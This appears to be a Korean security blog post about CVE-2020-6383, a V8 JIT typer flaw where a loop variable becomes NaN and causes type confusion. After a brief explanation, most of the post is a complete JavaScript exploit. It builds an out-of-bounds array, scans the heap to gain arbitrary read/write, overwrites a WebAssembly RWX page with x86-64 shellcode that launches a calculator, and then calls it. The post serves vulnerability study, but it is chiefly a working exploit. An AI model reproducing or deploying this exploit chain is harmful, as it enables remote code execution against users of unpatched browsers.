본문 바로가기

브라우저

CVE-2020-6383

취약점 요약

a security issue in the implementation of loop variable analysis. The patch makes the typer recognize cases where in statements like for (var i = start; i < ...; i += increment) { ... } the loop variable can become NaN because start and increment are Infinity values of differing sign[1].

Unfortunately, the introduced check is not sufficient to catch all loops that can produce NaN. The code assumes that when the increment variable can be both positive and negative, the result type will be kInteger (which doesn't include NaN). However, since the value of increment can be changed from inside the loop body, it's possible, for example, to keep subtracting from i until it reaches -Infinity, and then set increment to +Infinity. This will make i become NaN in the next iteration of the loop.

 

 

--> for(var i =start;i<...;i+=Increment) 형태의 코드를 최적화하는 과정에서 발생하는 취약점. 반복문 내에서 increment의 값을 수정하면 i+=increment의 결과 값이 NaN이 될 수 있다.( 자바스크립트에서 -Inf + Inf== NaN) 하지만 현재 컴파일러 코드에서는 반복문 내에서 increment의 값을 바꾸는 것을 고려하지 않아서 NaN이 숫자처럼 취급된다. 이는 Type Confusion으로 이어진다.

 


취약점 설명 및 POC 분석은 차후 올라올 예정

 

 


 

Exploit 

 

var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);




function ftoi(val) { // typeof(val) = float
	f64_buf[0] = val;
	return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness
}
function itof(val) { // typeof(val) = BigInt
	u64_buf[0] = Number(BigInt(val) & 0xffffffffn);
	u64_buf[1] = Number(BigInt(val) >> 32n);
	return f64_buf[0];
}
function hex(val){
	return "0x"+val.toString(16)
}

function assert(a){
	if(a){
		return;
	}
	throw "error"
}


function print(){}

var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var sh = wasm_instance.exports.main;


function trigger() {
    var x = -Infinity;
    var k = 0;

    for (var i=0 ; i<1 ; i+=x) {
        if (i == -Infinity) {
            x = +Infinity;
        }
        if (++k > 10) {
            break;
        }
    }

    var value = Math.max(i, 1024);
    value = -value;
    value = Math.max(value, -1025);
    value = -value;
    value -= 1022;
    value >>= 1;
    value += 10;

    var array = Array(value);
    

    array[0] = 1.1;
    return [array];
}

for (let i=0 ; i<20000 ; ++i) {
    trigger();
}


ret=  trigger()
//readline()
oob = ret[0];

NOT_GC=new Uint32Array(0x8);
AARW = new ArrayBuffer(0xceed);


addr=[0x1234,0x2468,wasm_instance];

//console.log(addr);
//console.log(oob)

a=false
b=false
AARW_idx=0


for(let i =0 ;i<0x20000;i++){
    tmp = oob[i];
    tmp = ftoi(tmp);
    if(tmp==0xceed){
        tmp = oob[i+1]
        tmp = ftoi(tmp)
        tmp = tmp>>32n
        //print((i+1)+ " : tmp = "+hex(tmp))
        if(tmp>0x5000 && tmp<0x6000){//heap address range
            print("[D] AARW Find = "+hex(i))    
            AARW_idx = i +1
            break;
        }
    }
}

if(AARW_idx==0){
    print("[E] can't find AARW_idx")
    print()
    exit(1)
}
addr_idx=0
for(let i =0 ;i<0x20000;i++){
    tmp = oob[i];
    tmp = ftoi(tmp);
    //print(i+" = "+hex(tmp))
    //tmp = tmp>>32n
    //tmp2 = tmp%(1n<<32n)
    if(tmp==0x48d000002468 ){
        print("Found addr idx = "+i)//length, 0x1234
        print("addr = "+hex(ftoi(oob[i])))
        addr_idx =i
        break;
    }
}

if(addr_idx==0){
    print("[E] can't find addr_idx")
}
isolate = oob[AARW_idx-6]

isolate = ftoi(isolate)-7n
print("[D] isolate = "+hex(isolate))
print("[D] backing store  = "+hex(ftoi(oob[AARW_idx])))
print("[D] addr idx = "+addr_idx)
print("[D] AARW_idx = " + AARW_idx)


RWX_ptr = ftoi(oob[addr_idx+1])%(1n<<32n) +isolate-1n+0x68n
print(hex( ftoi(oob[addr_idx+1])))

//RWX_ptr-=1n+0x68n
//RWX_ptr = isolate+ 0x08211024n
print("RWX_ptr  = "+hex(RWX_ptr))
oob[AARW_idx]=itof(RWX_ptr)
//oob[AARW_idx+2] = itof(0xdeadbeef)
view = new DataView(AARW)
RWX_1=view.getUint32(0,true)//AARW
RWX_2=  view.getUint32(4,true)
RWX_2 = RWX_2 *0x100**4
print("RWX_1 = "+hex(RWX_1))
print("RWX_2 = "+hex(RWX_2))
RWX = RWX_1+RWX_2
print("RWX = "+hex(RWX))
console.log(addr)

oob[AARW_idx]=itof(RWX)
shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];


for(i=0;i<shellcode.length;i++){
        view.setUint32(i*4,shellcode[i],true);
}
sh()

 

 

 

 

참조

https://mineta.tistory.com/154

https://bugs.chromium.org/p/chromium/issues/detail?id=1051017

'브라우저' 카테고리의 다른 글

ASIS CTF Quals 2021 - V8 for dummies  (0) 2021.10.31
CCE 2021 - shlowering  (0) 2021.10.29
DownUnderCTF 2020 / is-this-pwn-or-web  (0) 2020.09.21
Chrome v8 / CVE-2019-5791  (0) 2020.08.17
pwn2win 2020 / omnitmizer  (0) 2020.06.03